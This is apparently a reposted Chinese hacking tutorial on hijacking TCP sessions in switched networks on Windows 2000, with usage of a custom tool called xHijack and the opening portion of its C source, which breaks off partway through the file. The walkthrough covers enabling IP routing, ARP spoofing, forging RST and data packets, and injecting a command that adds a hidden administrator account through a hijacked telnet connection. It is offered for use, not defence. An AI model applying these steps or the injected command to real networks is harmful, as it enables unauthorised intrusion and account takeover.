分享
 
 
 

再谈交换环境下的会话劫持(Forwindows2000)

王朝system·作者佚名  2008-05-19
窄屏简体版  字體: |||超大  

第一步是开启IP Routing的功能,修改注册表

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\IPEnableRouter为0x1,重启系统即可。

第二步是ARP欺骗,具体原理我就不说了。

第三步就是开始劫持啦。

我写了个程序xHijack可以实现第二、三步功能,使用如下:

Usage: xHijack ServerSide ClientSide

下面根据三种不同的情况分别说明如何输入参数:

服务器、客户端、劫持者处于同一局域网,接在同一交换机上(或交换机级连?)。

假如服务器的IP是192.168.0.2,客户端的IP是192.168.0.3,提供如下参数给xHijack即可

c:\xHijack 192.168.0.2 192.168.0.3

劫持前数据流程:server client

劫持后数据流程:server hijacker client

服务器、劫持者处于同一局域网,客户端处于别的网络。

假如服务器IP是202.202.202.2,服务器的网关是202.202.202.1,提供如下参数

xHijack 202.202.202.2 202.202.202.1

劫持前数据流程:server gw routes client

劫持后数据流程:server hijacker gw routes client

客户端、劫持者处于同一局域网,服务器处于别的网络。

假如客户端的IP是192.168.0.2,网关是192.168.0.1,提供如下参数

xHijack 192.168.0.1 192.168.0.2

劫持前数据流程:client gw routes server

劫持后数据流程:client hijacker gw routes server

输入两个参数后,会提示你选择网卡,然后会提示

l

r x

w x

h x command

list、reset、watch命令我就不解释了。

假如现在有如下连接

(1) 202.202.202.202:23 192.168.0.3:2345

我们想要劫持这个连接运行我们的命令,输入

xHijackh 1 "&net user ey4s hijack /add & net localgroup administrators ey4s /add"

为什么命令前面要加&呢?假如客户刚发送一个字符p过去,我们不加&的话,服务器端接受到的就是

pnet user.....了,加了&后就成为p&net user.....,这样就不管前面客户输入了什么,我们的命令

都能够运行了。以上都假设服务器是windows 2000,unix下加什么字符,我不知道,我是unix白痴,呵呵。

劫持的流程如下:

伪装成Server给Client发一个rst包

伪装成Client给Server发了一个数据包

Server回一个ACK包给client

因为Cleint的连接已经给我们reset掉了,所以client回一个rst包给server

这样的话,我们只能发一个伪造的包,但我想已经足够了。

想要一直劫持那个连接也可以,如下

伪装成Server给Client发一个rst包

欺骗Client,告诉它Server的MAC地址AAAAAAAAAAAA

伪装成Client给Server发了一个数据包

Server回一个ACK包给client

Client回一个rst包给Server,但Server收不到,因为Client发到AAAAAAAAAAAA了,呵呵。

然后Server发给Client的包都由我们来处理,包括给Server回ACK包等等。

不过这样比较危险,在我们劫持的过程中,Client与Server的通讯始终是断开的。

刚开始看TCP/IP协议,调程序调得头昏脑涨,说明也写的乱七八糟,呵呵,程序代码也可能存在很多问题,

还请各位多多指点。

BTW:我没有空间,编译好的程序没地方放:(

参考资料

交换环境下的会话劫持 http://www.xfocus.net/article_view.php?id=375

交换网络中的嗅探和ARP欺骗 http://www.xfocus.net/article_view.php?id=377

以下是程序代码

----------------------------------------------------------------------

/*-----------------------------------------------------------------------------

File : xHijack.c

Version : 1.0

Create at : 2002/8/12

Last modifed at : 2002/8/19

Author : eyas

Email : ey4s@21cn.com

HomePage : www.ey4s.org

感谢refdom和shotgun发布的源代码,使我获益非浅。

If you modify the code, or add more functions, please email me a copy.

备注:

没有考虑IP头、TCP头超过20字节的情况

没有考虑数据包分片的情况

没有对截取到的TCP数据进行解码,如TELNET,虽然是明文传输,但是TCP数据里面包含了

显示格式、位置等信息,直接打印出来,显得很凌乱。但如果是IRC、SMTP、POP3等就没问

题了。

也许下一版本会修正这些问题,也许不会有下一版本了。

-----------------------------------------------------------------------------*/

#include

#include

#include

#include

#include

#include

#include

#pragma comment (lib, "packet")

#pragma comment (lib, "iphlpapi")

#pragma comment (lib, "ws2_32")

#define Max_Num_Adapter 10

#define Max_Num_IPAddr 5

#define EPT_IP 0x0800 /* type: IP */

#define ARP_HARDWARE 0x0001 /* Dummy type for 802.3 frames */

#define EPT_ARP 0x0806 /* type: ARP */

#define ACTION_NONE 0

#define ACTION_WATCH 1

#define ACTION_RESET 2

#define ACTION_HIJACK 3

/*以1字节对齐*/

#pragma pack(1)

typedef struct _ehhdr

{

unsigned char DestMAC[6];

unsigned char SourceMAC[6];

unsigned short EthernetType;

}EHHDR, *PEHHDR;

typedef struct _iphdr //定义IP首部

{

unsigned char h_verlen; //4位首部长度,4位IP版本号

unsigned char tos; //8位服务类型TOS

unsigned short total_len; //16位总长度(字节)

unsigned short ident; //16位标识

unsigned short frag_and_flags; //3位标志位

unsigned char ttl; //8位生存时间 TTL

unsigned char proto; //8位协议 (TCP, UDP 或其他)

unsigned short checksum; //16位IP首部校验和

unsigned int sourceIP; //32位源IP地址

unsigned int destIP; //32位目的IP地址

}IPHDR, *PIPHDR;

typedef struct _tcphdr //定义TCP首部

{

USHORT th_sport; //16位源端口

USHORT th_dport; //16位目的端口

unsigned int th_seq; //32位序列号

unsigned int th_ack; //32位确认号

unsigned char th_lenres; //4位首部长度/6位保留字

unsigned char th_flag; //6位标志位

USHORT th_win; //16位窗口大小

USHORT th_sum; //16位校验和

USHORT th_urp; //16位紧急数据偏移量

}TCPHDR, *PTCPHDR;

typedef struct _psdhdr //定义TCP pseudo header

{

unsigned long saddr;

unsigned long daddr;

char mbz;

char ptcl;

unsigned short tcpl;

}PSDHDR, *PPSDHDR;

typedef struct _arphdr

{

unsigned short HrdType;//硬件类型

unsigned short ProType;//协议类型

unsigned char HrdAddrlen;//硬件地址长度

unsigned char ProAddrLen;//协议地址长度

unsigned short op;//operation

unsigned char SourceMAC[6];/* sender hardware address */

unsigned long SourceIP;/* sender protocol address */

unsigned char DestMAC[6];/* target hardware address */

unsigned long DestIP;/* target protocol address */

}ARPHDR, *PARPHDR;

typedef struct _ArpPacket

{

EHHDR ehhdr;

ARPHDR arphdr;

}ARPPACKET, *PARPPACKET;

typedef struct _tcppacket

{

EHHDR ehhdr;

IPHDR iphdr;

TCPHDR tcphdr;

}TCPPACKET, *PTCPPACKET;

typedef struct _conninfo

{

DWORD dwServerIP;

USHORT uServerPort;

DWORD dwClientIP;

USHORT uClientPort;

DWORD ident;//标识

BOOL bActive;

struct _conninfo *Next;

}CONNINFO, *PCONNINFO;

//定义全局变量

unsigned int g_ServerSideIP,

g_ClientSideIP,

g_OwnIP[Max_Num_IPAddr],//本机IP地址列表

g_TotalIP = 0;//

unsigned char g_szOwnMAC[6];//本机MAC地址

unsigned char g_szClientSideMAC[6];

unsigned char g_szServerSideMAC[6];

char g_szTcpFlag[6] = {'F','S','R','P','A','U'};//TCP标志位

LPADAPTER g_lpAdapter;

//1 and 2 is arp spoof thread, 3 is recv packets thread,

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有